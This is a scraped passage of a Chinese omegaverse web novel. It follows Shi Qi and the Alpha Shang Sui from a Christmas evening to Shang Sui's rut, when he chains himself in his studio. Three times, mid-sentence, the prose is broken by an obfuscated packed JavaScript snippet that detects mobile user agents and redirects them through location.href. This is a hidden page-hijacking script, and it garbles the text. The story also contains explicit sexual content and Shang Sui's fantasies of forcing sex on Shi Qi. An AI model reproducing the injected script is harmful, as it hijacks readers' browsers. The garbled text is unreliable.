但看着边吃东西边听他们说话的Omega,和记忆中不好接近的形象相去甚远,反而十分乖巧可爱,像玻璃柜里需要精心呵护的小人偶。 “请千万不要因为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15146574|158502||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他是疯子和他分手。”江砚恳求道,“不然第一个倒霉的一定是我。” “……” 商随这些朋友,好像都认为他不太正常。 想着商随和江砚更熟悉,时绮吃完巴菲,把空间留给他们:“我去戴这个,你们聊吧。” 他边说边提起商随给自己的礼物,去了包厢里的卫生间。 腰链的结构比想象中还要复杂,时绮弄了半天,才看懂红宝石挂坠应该系在侧腰,那两根一长一短的链条则在挂坠上方闭合,系好后是类似于蝴蝶翅膀一样的结构。 短一些的链条将他的腰收得紧紧的,长一些的则垂落至胯骨,如血一般鲜艳美丽的宝石随着他的身体晃出耀眼的光彩。 就像商随所说,腰链和他身上宽松简约的白衬衫搭起来意外地和谐。 自从没再做模特工作,时绮就鲜少戴极繁类型的首饰,尽管效果还不错,但他总觉得自己隆重得像要去登台走秀。 左看右看不太习惯,他拍了一张不露脸的照片发给林言。 17:[好看吗?] 迟迟没有收到回复,时绮这才想起来,林言此刻正在麻将桌上酣战。 犹豫片刻后,时绮登录社交账号,把照片发了上去。 @1717177:【分享图片】 [我的妈呀!谢谢17送来的圣诞礼物,这简直是艺术品。] [宝宝你怎么一个字都不说,你是在问我们好看吗?好看好看美死了!] [妖精啊魅魔啊怎么会有人的腰细成这样??] [这么复杂的款式不像小绮会买的呀,如果是别人送的,圣诞节送这个用心险恶,当心当心!] [能不能给我看看全身,求求你了求求你了。] 林言的回复也在这时弹了出来。 言言:[我操!够劲!我刚胡的杠上花都不如你火辣。] 言言:[虽然搭配白衬衫很纯洁很反差,但你脱光了戴更好看。] 17:[?] 得到大家的肯定和赞美,时绮也不觉得这样打扮奇怪了。 他从卫生间走出去,商随正在自顾自玩手机。对面的江砚说到一半借酒消愁,没喝多少已经脸朝下趴在桌子上,俨然不省人事。 商随特关了时绮的账号,刚点完赞,就看见照片上的人出现在他面前。 比起那张只能看见一小截的图片,本人更有冲击力。商随微微坐直身体,不等时绮开口,他先一步道:“小绮好漂亮,像是天使。” “这个和天使哪里扯得上关系。” 时绮被他若有实质的目光看着,不太自在地扯了一下腰链,心情略感微妙。 被夸赞了当然高兴,但按照林言的说法,他以为自己现在多多少少有点儿……火辣? 怎么商随看他就没有类似的想法? 天使那种没性别的玩意儿听起来不是很有魅力啊。他戴这花里胡哨的链子戴了这么久,商随不会在敷衍他吧。 “怎么说呢……”商随稍作停顿,很认真地夸赞,“看起来就像天使一样耀眼,戴什么都合适。” “可以的话,还想看你戴更多其他类型的首饰。” 他总不能告诉时绮,看见他走出来的那一刻,自己脑子里全是乱七八糟的东西。 说出来他真成变态了。 时绮又被这一句话哄好,觉得天使也不错。 离开之前,商随跟绘涧的经理打了招呼,让他们帮忙照顾醉酒的江砚。 时绮没想到他这就打算走了:“就这样离开没关系吗?” 江砚看起来十分苦恼,醉酒后也不像问题得到解决的样子。 “他俩一直这样。”商随习以为常,“沈千俞比我们大两届,从高中起,他们一会儿关系好到恨不得腻在一起,一会儿又像仇人。” 平心而论,关系不好时更像江砚单方面闹别扭。 “而且就算是朋友,过度掺和别人的感情也不太合适。” “我提了建议,其他就顺其自然吧。” 时绮点了点头,觉得他说的有道理。 他们走出绘涧,冷空气扑面而来。商随替他拿着羽绒服的袖子,等时绮穿好衣服。 因为这个小小的动作,时绮突然意识到,商随一直很照顾他。 太过自然而然,有时候他甚至无法察觉。 时绮忽然道:“其实沈千俞可以不告白的。” “他们认识这么多年,当好朋友的话,不是可以一直在一起吗?” 不知是为沈千俞,还是为别的什么,时绮脱口而出:“如果连朋友都做不了,实在太遗憾了。” 商随许久没有开口。 意识到自己多少有些想当然,时绮补充道:“我也不是很了解他们,可能我说的不对——” “因为不甘心。”商随轻声说。 时绮心有所感,抬头看他。 “朋友也可以拥抱,但只有恋人才能触碰私密的位置,相互留下痕迹。” “在彼此身上留下信息素的气息,用气味明目张胆向其他人宣告‘这个人是我的’……这都不是朋友能做的范畴。” “所以当然不够。” 他每说一句话,时绮的心就下坠一分,像被引诱着不断下沉,迷失其中。 时绮这才意识到,比起特殊的朋友,恋人可以更加亲密无间。 触碰彼此的身体…… 他的目光不自觉落在商随的脖颈处。他记得上一次发情期,他意识不清时曾经咬过商随的腺体。再往下一点的位置,则是Alpha宽阔结实的胸膛、劲瘦有力的腰。 “而且Alpha欲望都很强烈。” “小绮是Omega,所以不太了解吧。如果可以,我恨不得把心仪对象圈起来,天天和他纠缠在一起。” “在身边看得见又摸不着,真的会把人逼疯。” 时绮的腺体一阵阵发烫,腰腹也感到酸软。另一个人缱绻糜艳的描述如同蛛丝,三言两语将他束缚其中。 感官不知不觉放大,好像他才成了被逼到无法自持的那一个。 时绮几乎想退后。 “……这样。”他强撑着镇定说。 啊,泄露信息素了。 笨蛋小绮,只记得努力维持脸上波澜不惊的表情,但你的信息素一点儿都不平静。 “还有缠绵的亲吻、黏在一起做-爱、用各式各样的方法占有彼此的身体和心……” “就比如,”商随话音一转,如同斑斓的花蛇终于露出带有剧毒的獠牙,径直锁定心仪的猎物,“你和我就不能这样做,对不对?” 34.易感期 “是,”时绮呆呆地重复,“我们不能这样。” 尽管说着这样不对,他的语气却飘忽不定。 配上周身溢出的信息素,丝毫没有说服力。 因为我们是好朋友,所以不能…… 商随似乎笑了笑,又似乎没有。 时绮的大脑晕晕乎乎,只觉得一切蒙着细碎如沙的金粉,世界仿佛覆盖上梦幻迷离的滤镜。 暗蓝色丝绒般的夜空、洁白无垢的细雪、圣诞夜的咖啡馆播放着描绘初恋的歌曲…… 除了商随说话时的声音和脸上细微的神情,关于那晚,时绮再也记不得其他。 如同被下蛊一般。 一直到元旦前夕,无论他做什么,都会时不时想起当时的场景。 正式放假前两天,系里恰巧没有专业课,时绮决定翘掉唯一一节公共课,自己给自己提前放假。 姜宥宁来接他回家,顺便一起接林言。 她开了一辆喷成粉金色的超跑,一头耀眼的银发卷成大波浪。姜宥宁的长相和时绮有五六分相似,身为Alpha,她的容貌要更为气势凌人,如同娇贵美艳的布偶猫。 见到时绮的第一眼,这只布偶猫欢快地说:“公主殿下~我来接您回家了。” 时绮:“……” 感觉到周围一道道好奇的视线,时绮一阵羞耻,用最快的速度扯着林言上车。 上一次见面姜宥宁的头发还不是这个颜色,时绮多看了两眼:“你又换发色了?” “和你相配嘛。”姜宥宁望着后视镜,冲时绮道,“我们姐弟俩现在可以组成金银岛。” “……” 姜宥宁收敛起玩笑的神色:“小绮,你知道吗?郁知玲出事了。” “什么?”时绮一愣,没想到先一步从她嘴里听见这个名字。 “他参与贩卖禁药,据说涉及到多起案件。好多人都是因为他沾上的药物,我认识的就有好几个模特。” 说到这里,姜宥宁不知不觉皱起眉:“他应该是进圈之后才接触到相关的东西。能红这么快,也是因为利益互换,他帮忙卖药,有人在背后捧他。” “原本郁知玲只算一个比较重要的下线,断尾求生就行。但好像有人在推波助澜,整个源头都被查了出来。” 时绮震惊道:“禁药?” 林言同样不可思议:“他还干这事儿呢!难怪疯疯癫癫,原来真就是个法制咖。” 林言反应过来:“等等,那他岂不是要被判刑?” 时绮也意识到这个。两人对视一眼,时绮脱口而出:“天降正义。” 林言接过话茬:“大快人心!” “你们怎么是这副反应?”姜宥宁本以为时绮会担心,十分意外地问,“郁知玲不是和你关系不错吗?” “我还没来得及和你说,郁知玲好恶心。” 这下愣住的成了姜宥宁。 时绮简单讲述前些日子的遭遇,姜宥宁气得一通狂骂,用优美且不带重复的国粹将郁知玲本人连同祖宗十八代问候一遍,听得林言叹为观止:“宥宁姐战斗力不减当年啊。” 末了,姜宥宁道:“这事儿没完!我去找人,他必须得怎么重怎么判。” 这个时间点太过巧合,时绮想到什么,多问了一句:“你说郁知玲得罪了人?” “嗯,听说寰云也参与了这件事,线索还是他们提供的,那边有人指明要处理他。” 姜宥宁奇怪道:“不应该啊,他代言的Elowen不就是寰云旗下的吗?就算跟品牌方闹矛盾,Elowen和总部相比就是个小作坊,随手投资的玩意儿,怎么都犯不着和郁知玲计较。” 寰云? 秦书赫竟然一语成谶。要是总部有意向,代言肯定得掉。 不过相较于判刑,掉代言都不算什么。 “你说有没有可能……?”林言和时绮想到一块儿,“你要不问问他?” 时绮已经把消息发了过去。 17:[郁知玲的事,是你做的吗?] 姜宥宁问:“你俩在说什么呢?” 不等时绮回答,一通电话打了进来。 “今天收到消息了,正想告诉你。” 商随的声音从手机那头传来:“他会判五年,是合理范围内最重的量刑。” “正式判决要等一段时间,但结果不会变。” 在祁江时,商随确实说过自己在查事情。 本以为最多找到工作相关的把柄,没想到郁知玲自身有这么大的问题,更没想过商随能做到这种地步。 郁知玲当时提到特易期说话十分恶毒,但他看得出来,商随确实对郁知玲的言行不甚在意。 归根结底,商随是为了他。 “是不是费了不少功夫?” “是哦,前前后后忙了好久。”听出时绮话里的关切,商随没放过给自己邀功的机会,“所以……” 他嗓音带笑问:“小绮要谢谢我吗?” 如同某种条件反射,一听见商随的声音,腺体竟是和那晚一样开始发烫。 关于圣诞夜的记忆又一次涌入脑海,那些撩拨心弦的话语化为柔韧细密的蛛丝,时绮这才意识到它们从未消失,而是一直悄无声息缠绕住他的肢体、将他包裹其中。 腺体发热,头脑也发热。时绮顾不上思考更多,握紧手机道:“我不知道怎么谢,你想要什么?” 他补了一句:“想要什么都可以。” 姜宥宁大概意识到是怎么回事:“喂!不可以啊,时绮你不要乱说。” 她这个弟弟看起来不好接近,实际心思十分纯粹。在时绮谈恋爱之前,也没怎么接触过其他Alpha。 傅思越性格是差了点,其实也很单纯。 能处理好这么大的事情,时绮找的男朋友显然和傅思越不是一个等级。如果被哄着骗着终生标记,那还得了? “下一次的雷雨天,陪我过吧。” 即使隔着手机,时绮也能想象到商随现在的模样。 因为太过熟悉,乃至于一举一动都能勾勒出鲜活的画面。 “好,”时绮说,“不止下一次。” 以后也可以。 听懂他的潜台词,商随轻笑一声:“小绮真好。” 商随又跟他说了一会儿话,详细交代过这件事的进程,而后才挂掉电话。 “真是商随啊?”林言忍不住说,“他这么厉害?” “你男朋友叫这个名字?”姜宥宁敏锐地察觉到不对,“不是说他是美院的助教吗,怎么好像你们对他都不了解?” 时绮张了张口,一时间不知道如何接话。 “他是啊。”林言赶紧帮着打圆场,“我们没特意问过商随家里的事,他也没提。不过看得出家庭条件挺好的。是吧时绮?” 时绮立即点头:“对,是这样。” 寰云的前身是一家医药公司,经过多年发展,如今市面常见的抑制剂和阻隔剂都来源于此。Alpha和Omega大概在人群中占到一半,意味着总人口的二分之一都会使用寰云的产品。 除此之外,寰云的业务十分多元化、涵盖多个领域,同政界也有关联。她记得寰云是家族企业,历任话事人都姓商。 不会这么巧吧…… 如果真是那样,时绮找的这个男朋友来头实在太大,他们家压不住。 “你还记得吗?我以前说,你要找条件比我们家差的Alpha。” “能在这么短时间内解决这件事,你男朋友家里再怎么都是寰云的高管,至少跟我们家差不多。”姜宥宁忧心忡忡,“这可怎么办啊,以后你就不能随便欺负他,你们吵架也不能把他关起来了。” 林言:“……” 时绮能长成今天这样霸道的性格,和家里的溺爱不无关系。 倒不如说,这孩子居然没长成嚣张跋扈、惹是生非的个性,足以见得天性纯良。 以前姜宥宁也说过类似的话,时绮那时候丝毫没有实感。 可“关起来”一类的字眼一旦和商随扯上联系…… 时绮脸上发热,猛地摇摇头:“我不要欺负他,他对我很好。” 见他胳膊肘往外拐,姜宥宁更是面色惨淡。 挂掉时绮的电话,商随去了浴室。 他才结束日常锻炼,身上出了汗,洗完澡后,身体里轻微的热意却并未消散。 如同发烧一般的头痛愈演愈烈,几乎令他感到阵阵晕眩。 因为特易期的原因,他的身体素质远超常人,很少生病,像这种情况大概率是…… 不会吧。 前些日子才提过易感期,怎么说来就来。 他苦中作乐地想,正好是在元旦假期之前,那今年也算来了三次,达到平均数值。 趁着还算清醒,商随联系沈千俞,告诉他自己很快会进入易感期。 对方会隔日联系他一次,确保他没有大碍。如果五天后易感期还没结束,沈千俞会采取相应的措施。 这个电话结束后,商随给家里发消息,最后再和美院请假。 有部分Alpha易感期情况严重,需要去医院的隔离室,会有专业的医护人员负责实时监测情况。 不过近几年他的易感期十分稳定,不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15154951|158502||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 需要那么麻烦,自己把自己关好就行。 易感期期间他几乎不想吃东西,不知道这次会持续多长时间,他挑了一些简易饱腹的食物,拿了许多水。 短暂考虑过后,这一次他选择把自己关进画室。 商随将锁链的一头套入墙角的固定环,另一头则扣住自己的右脚脚踝。 开启拷环的钥匙放在他够不到的卧室,活动范围被限死在画室内。 咔哒一声 拷环紧紧闭合。 脚铐环内置有电子设备,会实时监测他的身体数据,只有在两种情况下,铐环才会自动打开。 一种是他受到剧烈伤害,各项身体数据出现异常;另一种是检测到信息素浓度下降到正常数值,易感期结束。 一般的铐链关不住他,这种复合金属材质的链条分外沉重,伴随他的走动,在地面摩擦出阵阵声响。 吵死了。 商随面无表情想。 每一次听见这鬼动静都烦得要死。 易感期内,Alpha会表现出强烈的攻击性和控制欲,对Omega的信息素更为敏感;特易期的Alpha在此基础上更为严重,破坏欲、侵略欲和性-欲都会成倍放大。 察觉到自己情绪越发暴躁,商随压下叫嚣的欲念,决定先强迫自己睡一觉消耗时间,等醒来再说。 本以为难以入睡,却没想到,没过多久他便失去意识。 他做了一个梦。 一切混乱至极,如同世界嵌套世界,梦中坠入梦中。 等他再有意识,窗外天色昏暗异常。 他以为自己不过从白天睡到傍晚,一看时间,竟是超过了一天一夜。 他什么都没吃,只喝了一点水,可丝毫不感觉饥饿。 似乎有什么格外令人亢奋、能够承受心底最深处欲望投射的事情发生了。 商随不甚清醒朝前走了两步,铐链伴随他的走动叮当作响,看见不远处放置的东西,瞳孔骤然聚缩。 画架上立着一幅刚完成不久的画。厚涂的颜料泛着湿润的光,未干透的颜色鲜艳饱和。显然是在他意识不清时绘制的。 娇艳欲滴的花枝缠绕上巨大的金色鸟笼,笼中的天使浑身赤-裸,双手抱膝席地而坐。 月光般皎洁的羽翼从纤薄的背部生出,双翼收敛,遮挡住身体的隐私部位。天使细腻的肌肤近乎和羽翼同色,白金色的头发有种毛茸茸的质感。 与周围稠艳的花枝相比,他看起来清纯又干净。 在雪白柔韧的大腿上,有一颗小小的、胭脂色的痣,同缠绕在细腰处的红宝石链条相得益彰。 似乎觉得将他关在笼子里还不够,宝石脚铐锁住细细的脚踝,既像束缚又像装饰,共同点缀在那副美丽的身躯上。 尖俏的下巴,挺直的鼻梁,花瓣一样娇嫩的唇。 被囚禁在金笼中的天使只露出半侧面,没有清晰的面容。他低垂着眼,沉甸甸的睫毛又长又密,呈现出剔透的深灰色。 只要是熟悉的人,都能看出“天使”究竟是谁。 每一次易感期,商随的记忆都会化为四分五裂的碎片,无论是易感期彻底结束后、还是像现在这样于中途短暂清醒,他都只能记住小部分事情。 脑海中抽帧般闪过绘画的场景,他依稀回忆起自己当时不正常的状态,既兴奋又迷恋。 时绮,小绮。 宝宝、宝贝、亲爱的。 他这才慢半拍地意识到,整间画室充斥着浓郁的信息素。 画架、地面,甚至于他身上。 到处残留着馥郁中透出腥气的浓稠液体,部分凝结成白斑,散发出甜腻到极致的蜂蜜气味。 特殊易感期不会自然停止,只有当欲望彻底满足、亦或精疲力竭之时才能结束。 如果将特易期的欲望比作一罐水,他清楚感觉到,不过一天一夜,那罐水已经流淌出一半。 所以他是对着这幅画……? 是在画画的途中,还是完成之后? 无论是哪一种发泄情况…… 商随闭了闭眼。 他真是有够变态的。 但很快的,那种灼烧一般的感受再次席卷全身。 他重新回归到先前浑浑噩噩的状态,理智逐渐远去。 天气预报说一直到新一年都是晴朗的好天气,但窗外的黑云越积越厚,短短几小时内,竟是从晴空急转直下。 商随头晕目眩,没注意到有人在一小时前给他发了消息。 17:[你在哪?] 17:[天气变了,今晚似乎会下雷阵雨,我过来陪你?] 35.艳鬼 回家没多久,时安便从姜宥宁口中得知商随的家境。 时安的反应比起姜宥宁有过之无不及,逮着时绮问东问西,很快察觉到自家孩子一问三不知,时安严肃地说:“你之后得找个时间和他谈谈。” “他得把这些一五一十告诉你,婚后工资最好上交,最重要的是,要确保他以后听你的话。” 时绮想也不想:“凭什么?” 时安:“?” “他听他自己的话就行。”时绮说,“而且为什么要考虑到结婚?” “你俩交往肯定要以结婚为目的啊!” “医生上次说你的病只有不到一年时间,等过完元旦,基本只剩九个月,难道你要和他分手再去谈一个?” 按照时安的打算,最好是跨年之后先和商随见一面、然后双方家长见面,最迟五六月份订婚。 姜宥宁难得和时安统一战线:“小绮,如果真要和他在一起,因为腺体退化症,你做完终生标记是不能洗的,这些都要考虑好。” 时绮晕头转向,最后实在顶不住火力,躲进房间。 关门之前,他依稀听见姜礼的劝说:“之前不还好好的吗,怎么今天这么激动?婚姻最重要的是相互尊重、彼此理解,你俩不要总想着压人家一头……” 时安反驳:“就时绮那性格,受了委屈他不得气死啊?我可见不得他哭,哭一下我就心口疼。” 姜宥宁:“就是就是!我会想打人的!这么多年我都忍着没把我弟弟欺负哭,凭什么便宜另外一个Alpha?” 她补充道:“床上除外吧,这个可以让让。” 时安大惊失色:“不可以——!” 时绮:“……” 时绮真不知道该感动还是该吐槽。 姜宥宁语出惊人,外面的情况越发混乱。时绮赶紧关门隔绝掉一切声音。 怎么想这么多。 先不说他和商随实际的关系,无论谈恋爱还是结婚,最重要的不是相互喜欢吗? 或许是另一个人被反复提及,他忍不住给他发了一条消息。 17:[你在干什么?] 他们都不是爱在手机上聊天的性格。见面的时候有很多话说,但除必要的联系,商随基本不会找他闲聊。 听林言说,这种行为好像叫……推拉? 适当地制造距离反而会令人一直挂念,是常见的社交技巧。 奇怪的是,哪怕过去一天一夜,他始终没收到回复。 就算推拉也不能彻底不理人吧。 时绮开始有点儿不高兴。 这次回家,时绮只带了商随送给他的画和圣诞节收到的腰链。 得知这两件礼物是谁送的,姜宥宁好奇道:“我能看一看吗?” 时绮点点头,姜宥宁小心将包好的画拆开。她被狠狠惊艳了一瞬,仔仔细细看了许久:“我感觉你男朋友的画有点儿眼熟……” 大胆冲撞的色彩、狂欢一般的氛围,很像一位年少成名的画家。 但那位常年居住在国外,应该只是风格恰好相似。 时绮随口道:“你还了解这些?” “你嫂子喜欢画。” 姜宥宁的女朋友是一名记者,两人交往多年,感情稳定。 她拆开装腰链的盒子,不满地絮叨:“而且我再怎么也是学艺术的,知道这些不是很正……我天——!时绮!他还送你这个呢!” 姜宥宁顿时被吸引:“真好看!他眼光很不错嘛!” 时绮的注意力却不在这上面,他看着窗外阴沉的天色,忽然问:“今天会下雨吗?” “天气预报说最近都是晴天。”姜宥宁边说边划开手机,天气预报竟是不知不觉发生变化,“哎?真的!……竟然还是雷阵雨。” 时绮又一次给商随发消息。 17:[你在哪?] 17:[天气变了,今晚似乎会下雷阵雨,我过来陪你?] 商随迟迟没有回复,他终于意识到事情可能不太对。 上一次在绘涧和江砚交换过联系方式,时绮发了消息,江砚说去帮他问问。 半晌过后,江砚推给他一个账号。 江砚:[商随易感期,一个人在家,可能没看手机。] 江砚:[具体情况你问这个人吧,他更了解一些。] 新添加的账号通过很快,那头彬彬有礼道:[你好,是时绮吗?] 根据说话的口吻,时绮很快猜测出对方的身份。 17:[沈千俞?] 得到肯定的答复,时绮不禁想到江砚刚才的“这个人”。 称呼这么见外,估计江砚和沈千俞没有和好。 也是难为江砚帮他询问了…… 沈千俞:[商随的易感期和一般Alpha不太一样,他会用一些特殊方式确保自己不会出现意外。大概五天左右,他的易感期会结束。] 17:[特殊方式?] 沈千俞:[锁链。] 时绮震惊地看向那两个字。 17:[你是说,他会把自己锁起来……?] 17:[为什么?!商随只是特殊易感期,又不是犯人!] 屏幕显示沈千俞正在输入中,却迟迟没发来消息。 似乎斟酌许久,沈千俞才道:[因为一些经历,以及自身体质的原因,即使在特易期的Alpha里他也与众不同。] [近些年他的易感期较为稳定,但依旧难以保持理智,尤其是面对你。他极可能被欲望驱使,只剩占有的本能。不建议你和他见面。] [他没有告诉你,应该也不想让你看见他现在的样子。] 时绮见过姜礼和姜宥宁易感期的模样。 一向性格温和的姜礼一反常态暴躁易怒,很快会和时安一起消失不见;而姜宥宁青春期的每一次易感期都恨不得拆家。 她分化后的第一个易感期长辈们都不在,时绮当时才十岁,被她吓哭过一次,边哭边贴近她说姐姐别难过。 姜宥宁直接把他拽过来,抱着他哭得稀里哗啦。 直到交了现在这个女朋友,姜宥宁每一次过易感期都兴致盎然、红光满面,再也不见当初的狼狈。 在时绮的印象里,易感期的Alpha没有伴侣陪伴,就像被困住的凶兽。 危险的同时,也很可怜、很辛苦。 17:[那他的易感期和普通Alpha一样难捱吗?] 沈千俞:[不。] 不等时绮放下心,沈千俞道:[会更痛苦。] 时绮抓起手机往门口走。 “你要出门?”姜宥宁抬头叮嘱,“小安爸爸订了跨年饭,你记得早点儿回来。” “我去找商随,今晚不回家。”时绮补充道,“他易感期了。” 他和商随的匹配度有百分之百,可以用Omega信息素安抚,帮助缓解易感期的不适。 而且今晚会下雷雨,商随应该更难受。 答应好雷雨天要陪他一起过,不能食言。 “噢这样啊,那你去……啊?!”姜宥宁反应过来,“你等会儿你等会儿,你要这么空手去?” 见时绮疑惑地看过来,姜宥宁跺了跺脚,冲进房间翻找出什么,装进袋子递给他。 “你带个止咬器。” 佩戴止咬器后,可以防止Alpha啃咬Omega的腺体,注射信息素进行标记。 时安还把时绮当小孩子,姜宥宁却觉得上床没什么,别终生标记就行。 “是我新买的,没用过。”姜宥宁解释道,“相同款式我买了好几个颜色,这款是枪黑色。质量挺好的,反正我易感期弄不开。” “止咬器有内置锁,钥匙在袋子里。你一定要让他戴上再和他接触啊。” 手里沉甸甸的重量令时绮迟来地意识到,他要面对是易感期的Alpha,商随甚至比常人更为特殊。 沈千俞的提醒多多少少起了作用,想着佩戴止咬器确实安全一些,时绮答应一声。 姜宥宁小声嘀咕:“哦对,怀孕也不行。” 不知道时绮男朋友家里有没有套子,带上以防万一。 她轻车熟路摸去姜礼的书房,从抽屉里找到一盒全新的避-孕套:“都是男性Alpha,大小应该差不多。” 时绮:“?” 姜宥宁看他表情不太对劲:“你不喜欢香草的味道?那我陪你出去买——” 时绮实在不愿顺着她的话细想,赶紧制止:“不,就这样吧!” 姜宥宁开车送他,中途她放心不下,千叮万嘱让时绮注意安全。 怕他没概念,她又举了许多例子:易感期的Alpha喜怒无常,一些平日里性格强硬的说不定会筑巢掉眼泪;平时性情温和的则可能变得分外狂躁、甚至还有把伴侣腿折了接着操的……如果见势不妙,记得赶紧跑。 上一次来商随家,时绮录过指纹和面容。 姜宥宁举的例子太过绘声绘色,解锁的时候,他的手指不自觉地微微颤抖。 开门的一瞬间,甜蜜的信息素扑面而来。 整间屋子都没有开灯,室内寂静异常。 “商随……?” 他叫了一声名字,黑暗中没有回应。 时绮不知道灯在哪,用手机打开手电筒,一边照明一边试探性在墙上摩挲。 始终找不到电灯开关,时绮犹豫片刻,举起手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15165613|158502||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 机朝信息素的源头走去。 沈千俞说商随把自己关在画室里。商随家太大,时绮不记得画室具体的位置,但能根据信息素判断。 越往里走,蜂蜜的味道就越发浓稠,似乎连空气都停止流动,只余下香甜到令人眩晕的气味。 窗外依稀传来一道沉闷的雷鸣,暴雨骤然降落。 房子隔音太好,一切声响都变得模糊。巨大的落地窗外银色闪电撕裂夜幕,室内一刹如同过度曝光的胶片,随即迅速沉入更深的黑暗。 他其实很怕鬼,也怕黑。 时绮揉了揉脸,在心里给自己打气。 没事没事,这是商随家,不是鬼屋。 房子的主人可能只是睡着了。 但他总感觉自己正被一道幽深的目光凝视,就像在他看不见的时候,即使隔着墙,另一个人也能准确无误感知到他的位置。 甚至于身处被隔开的另一个空间里,那人也正用相同速度跟随他一起慢慢移动,迫不及待和他见面。 “商随、商随?”时绮边叫边往里走,最后停在一道门前。 确定这个房间内的信息素最为浓郁,他迟疑片刻,推门走进去:“你醒着吗?” 这一次时绮确切听见细细碎碎的金属声响,是什么拖着锁链在行走。 就好像……有人原本站在墙角,此刻正亦步亦趋跟在他身后。 这个联想令时绮毛骨悚然,一双手从后面伸出来,一把捂住他的口鼻! 唔——! 时绮来不及挣扎,一道略显低哑、音色糜艳的声音贴着他笑道: “亲爱的,你是从我的画里跑出来的吗?” 时绮脸太小,几乎被Alpha骨节修长的大手完全覆盖。 他在被捂住嘴时睁大眼睛,意识到是谁在身后,时绮紧绷的神经骤然瘫软,近乎有种劫后余生的脱力。 商随怎么跟鬼一样! 慌乱中时绮不小心将手机和装有止咬器的袋子都扔了出去。他没注意到那个暧昧的称呼,只隐隐约约听见身后的人提到画,惊魂未定开口:“不、不是……!” 他的嘴唇紧紧贴着商随的手掌,舌尖不小心舔到指根处细腻的肌肤。 这个动作似乎刺激到了身后的Alpha,商随停顿片刻,略微用力,不轻不重掐住他的脸颊。 时绮眼神迷离了一瞬,很快不敢再说话。 即使知道商随才是整间房子里最为危险的存在,他的身体却违背意志,不争气地渐渐放松。 好好闻。 商随身上好香。 “我还以为在做梦。”商随丝毫不介意被他舔了手指,说话时声调微微上扬,兴致盎然,透出令人心颤的诡异: “居然能见到你,我好开心。” 房间内的信息素浓度太高,时绮很快双腿发软。 身后的Alpha做了他的支撑,松开覆在脸上的双手,转而锢住他的腰。时绮的双脚几乎没在地上沾过,被迫和他一同向前。 商随一边搂着他,一边开灯。 猝不及防接触到亮光,时绮被刺激得双眼湿润,一滴眼泪顺着面颊落下。 商随垂眸看他,目不转睛。 时绮同时抬起眼,心脏倏忽漏掉一拍。 Alpha眼尾泛着秾丽的粉晕,如同盛开的桃花。 沈千俞和姜宥宁说了一堆警告,唯独没人告诉他,商随易感期这么漂亮。 就算是鬼,那也是艳鬼。 被商随一瞬不瞬凝视着,那种痴迷的目光令时绮生出错觉,以为对方会来舔他脸上的眼泪。 他在想什么? 商随又不是狗。 时绮甩甩脑袋,把这个奇怪的想法丢出去。 开灯以后,时绮终于大概看清楚周围的景象。 画室空间非常大,有睡觉的休息区和独立卫浴间,距离他们不远的位置放着一幅被遮盖的画。支架撑起覆盖其上的白色画布,似乎才完成不久。 注意到时绮的目光,商随忽然道:“是我新画的,你要看吗?” 揭开画布,时绮便会看见囚禁在花和笼中的天使。 他尝试想象时绮可能会做出的反应,觉得他应该不会喜欢画上的内容。那就是惊讶、恐惧、夺门而出……无论是哪一种,只要由时绮来做,都令人感到期待。 如果选择看。 他就把时绮压在画上操。 画还没干透,被按在上面,白皙的身躯或多或少会染上颜料, 一想到时绮会哭、会尖叫着求饶,最后浑身发抖露出痴傻的表情,他就抑制不住兴奋。 “要看吗?”他又问了一次,情意绵绵地说,“很漂亮,和你一样。” 36.奖励 时绮一时半会儿难以抉择。 按理来说,他对商随的一切感到好奇,尤其是画。 可时绮敏锐察觉到,被画布遮盖的画面如同潘多拉魔盒,一旦开启,放出的东西会毫不留情将他拽入深渊。 他的直觉一向很准。即使再好奇,时绮强忍着摇摇头:“我不看。” 说话的同时,他示意脚边被扔出去的袋子:“里面有止咬器,你把这个戴上。” 商随略微睁大眼睛,有些惊奇地看向他。 时绮拒绝了他的提议、甚至反过来向他提出要求,这可真是…… “戴上的话,我释放信息素给你。” 易感期的Alpha天然带着强烈的压迫感,即使商随什么都不做,也令人倍感压力。 时绮试探性拍了拍锢在自己腰上的手臂:“可以吗?” Alpha歪了歪头,浅褐色的眼瞳居高临下打量他,呈现出机械般冰冷的光泽。 时绮的指尖微微掐进掌心,就在他以为会被拒绝的时候—— 商随粲然一笑:“好啊,来交换吧。” 真有趣。 那就陪时绮玩玩。 “我要足量的信息素。如果我说不够,不能停下来。” 时绮别无选择,加上本就打算用信息素陪伴他度过易感期,很快答应:“好。” 商随依言放开他,主动从袋子里取出止咬器。 